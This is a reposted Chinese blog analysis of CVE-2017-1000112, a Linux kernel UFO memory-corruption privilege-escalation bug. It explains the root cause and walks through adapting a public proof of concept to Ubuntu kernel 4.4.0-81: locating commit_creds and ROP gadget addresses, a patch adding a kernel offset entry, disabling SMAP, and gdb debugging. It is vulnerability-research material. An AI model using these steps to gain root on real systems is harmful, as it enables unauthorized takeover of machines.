您的位置:首页 > 运维架构 > Linux

CVE-2017-1000112浅析-linux内核提权漏洞

2018-01-28 21:56 1896 查看
本文转载自

Adapting the POC for CVE-2017-1000112 to Other Kernels

Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112

前言

Andrey Konovalov最近披露了他通过syzcaller fuzzing在Linux网络子系统内部发现的本地提权漏洞。在oss–sec的邮件中Konovalov写道:当构建一个带有MSG_MORE的UFO包时,__ip_append_data()调用ip_ufo_append_data()。然而在两个send()调用之间,append路径可以从UFO切换到非UFO,这会导致内存破坏。 这个bug在Commit 85f1bd9中被修复。

网卡的offload技术允许协议栈传输大于以太网最大传输单元(maximum transmission unit,MTU)的数据包,默认情况下MTU是1500字节。当启用offload时,内核将把多个数据包组装成一个大数据包并将其传递给硬件,硬件处理IP分片并将其分割成MTU大小的包。这种技术经常在高速网络接口中使用来提高吞吐量,因为UFO可以发送大的UDP数据包。Linux内核可以利用各种网卡的Segmentation Offload功能。

TCP Segmentation Offload - TSO

UDP Fragmentation Offload - UFO

IPIP, SIT, GRE, and UDP Tunnel Offloads

Generic Segmentation Offload - GSO

Generic Receive Offload - GRO

Partial Generic Segmentation Offload - GSO_PARTIAL

漏洞原理



要在内核中构建UFO数据包,我们可以采取以下两种方法之一。

- 使用
UDP_CORK
套接字选项,该选项告诉内核将此套接字上的所有数据累加到一个diagram中,在该选项被禁用之后再传输;

- 调用send/sendto/sendmsg时使用
MSG_MORE
标志,告诉内核将此套接字上的所有数据累加到单个diagram中,在未指定此标志的调用中发送。

该漏洞是用第二种方法触发的。在内核中,
udp_sendmsg
函数负责构造UDP数据包并将其发送到下一层。以下代码显示了用户程序使用
UDP_CORK
套接字选项或在调用send/sendto/sendmsg时使用
MSG_MORE
标志时启用的UDP cork函数的简单实现。启用UDP cork时,会调用
ip_append_data
函数将多个数据包累积为单个大数据包。



函数
ip_append_data
__ip_append_data
的封装,它通过分配一个新的套接字缓冲区来存储传递给它的数据或者在套接字被塞住时将数据附加到现有的数据来管理套接字缓冲区。这个函数执行的一个重要任务是处理UFO。套接字缓冲区在套接字的发送队列中进行管理。在塞住套接字的情况下,队列中有一个可以添加附加数据的入口。数据位于发送队列中,直到
udp_sendmsg
调用
udp_push_pending_frames
udp_push_pending_frames
完成套接字缓冲并调用
udp_send_skb
。Linux内核将数据包存储在结构
sk_buff
(套接字缓冲区)中,所有网络层都使用它来存储它们的头部,有关用户数据的信息以及其它内部信息。



在上图中,
sk_buff
的head,data,tail和end指向存储协议头部和用户数据的内存的边界。head和end指向缓冲区空间的开始和结束。data和tail指向空间内的用户数据的开始和结束。紧接在end后面,结构
skb_shared_info
包含IP分片的重要信息。如前面的POC中所示,当第一次调用send时包含
MSG_MORE
标志,
__ip_append_data
通过调用
ip_ufo_append_data
创建一个新的套接字缓冲区,如下面的代码所示。



当调用完成并且创建了新的套接字缓冲区时,用户数据被复制到分片中,共享info结构被更新为分片信息,如下图所示。新创建的
sk_buff
被放入队列中。



下一步POC通过设置选项
SO_NO_CHECK
来更新套接字以不计算UDP上的校验和,这将覆盖套接字结构的
sk->sk_no_check_tx
成员。在
__ip_append_data
里面这个变量作为调用
ip_ufo_append_data
之前的一个条件被检查。在POC第二次调用send的过程中,在
__ip_append_data
内部采用非UFO路径,该路径进入分片长度计算循环。在循环的第一次迭代期间,副本的值变为负值,这会触发新的套接字缓冲区分配。另外分片计算超过MTU并触发分片。这会导致通过使用
skb_copy_and_csum_bits
函数将第一个send创建的
sk_buff
复制到新分配的
sk_buff
。这将从源缓冲区中复制指定数量的字节到目标
sk_buff
并计算校验和。调用长度大于新创建的
sk_buff
边界限制的
skb_copy_and_csum_bits
会覆盖套接字缓冲区之外的数据,并破坏之前为
sk_buff
skb_shared_info
结构。



接下来是损坏的
skb_shared_info
结构。地址0xffff88003a4ca900处的内存是新创建的
sk_buff
,end=1728,其中分片被触发。



可以通过在一个大缓冲区末尾简单地创建一个伪造的
skb_shared_info
结构并将回调成员设置为shellcode来转移到用户模式的shellcode。第二个send会触发套接字缓冲区的超出边界条件,用用户模式shellcode地址覆盖
skb_shared_info-> destructor_arg
,它在内核内存释放
sk_buff
之前被调用。

调试过程

接下来我们通过调试进一步学习如何对已有的POC进行改造。

主机:ubuntu17.10 amd64 desktop

虚拟机:http://old-releases.ubuntu.com/releases/16.04.2/ubuntu-16.04.2-server-amd64.img

POC:https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c

首先把虚拟机安装好之后4.4.0-81版本的内核。

sudo apt install linux-image-4.4.0-81-generic

因为原来的POC没有适配这个版本的内核,所以现在对该版本的内核进行适配。

重启设备之后然后寻找下列内核函数的地址:
commit_creds
prepare_kernel_cred
native_read_cr4_safe
native_write_cr4








现在我们需要内核符号来找gadget。在http://ddebs.ubuntu.com/pool/main/l/linux/上下载
linux-image-4.4.0-81-generic-dbgsym_4.4.0-81.104_amd64.ddeb
,安装之后在/usr/lib/debug/boot/vmlinux-4.4.0-81-generic。接下来用ROPgadget找内核中的gadget。

ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic


根据POC,我们需要的gadget如下。

struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
sudo grep commit_creds /proc/kallsyms
0xffffffff810a2800 T commit_creds

uint64_t prepare_kernel_cred;
sudo grep prepare_kernel_cred /proc/kallsyms
0xffffffff810a2bf0 T prepare_kernel_cred

uint64_t xchg_eax_esp_ret;
grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic
0xffffffff8100008a : xchg eax, esp ; ret

uint64_t pop_rdi_ret;
grep ': pop rdi ; ret' rg-4.4.0-81-generic
0xffffffff813eb4ad : pop rdi ; ret

uint64_t mov_dword_ptr_rdi_eax_ret;
grep ': mov dword ptr \[rdi\], eax ; ret' rg-4.4.0-81-generic
0xffffffff81112697 : mov dword ptr [rdi], eax ; ret

uint64_t mov_rax_cr4_ret;
sudo grep cr4 /proc/kallsyms
0xffffffff8101b9c0 t native_read_cr4_safe

uint64_t neg_rax_ret;
grep ': neg rax ; ret' rg-4.4.0-81-generic
0xffffffff8140341a : neg rax ; ret

uint64_t pop_rcx_ret;
grep ': pop rcx ; ret' rg-4.4.0-81-generic
0xffffffff8101de6c : pop rcx ; ret

uint64_t or_rax_rcx_ret;
grep ': or rax, rcx ; ret' rg-4.4.0-81-generic
0xffffffff8107a453 : or rax, rcx ; ret

uint64_t xchg_eax_edi_ret;
grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic
0xffffffff81125787 : xchg eax, edi ; ret

uint64_t mov_cr4_rdi_ret;
sudo grep cr4 /proc/kallsyms
0xffffffff81064580 t native_write_cr4

uint64_t jmp_rcx;
grep ': jmp rcx' rg-4.4.0-81-generic
0xffffffff81049ed0 : jmp rcx
};


内核4.4.0-81并没有启用KASLR,所以先不考虑这个问题。使用我们新得到的地址来更新POC,以添加对Ubuntu 16.04的4.4.0内核(xenial)的支持。

4.4.0-81.patch
--- poc.c       2017-12-21 11:49:17.758164986 -0600
+++ updated.c   2017-12-20 16:21:06.187852954 -0600
@@ -117,6 +117,7 @@
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
+       { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
@@ -326,7 +327,8 @@
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
-           strncmp("4.8.0", kernels[kernel].version, 5) == 0)
+           (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
+            (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
return get_kernel_addr_xenial(syslog, size);

printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");


接下来就可以在虚拟机上测试POC了。因为原来的POC没有考虑SMAP,所以我们需要把SMAP关了。sudo gedit /etc/default/grub在
GRUB_CMDLINE_LINUX_DEFAULT
后面添加nosmap,保存,sudo update-grub,重启。





测试成功,下面开始调试。先改一下虚拟机的vmx文件。

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"


我们已经有了带有内核符号的二进制文件,现在还需要源代码。

wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb


压缩包在/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2,解压,进入内核代码目录/usr/src/linux-source-4.4.0/linux-source-4.4.0启动gdb。

gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic
target remote localhost:8864




如前所述,
skb_release_all
调用
skb_release_data
skb_release_data
中的
shinfo->destructor_arg
被覆盖从而执行shellcode。





内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: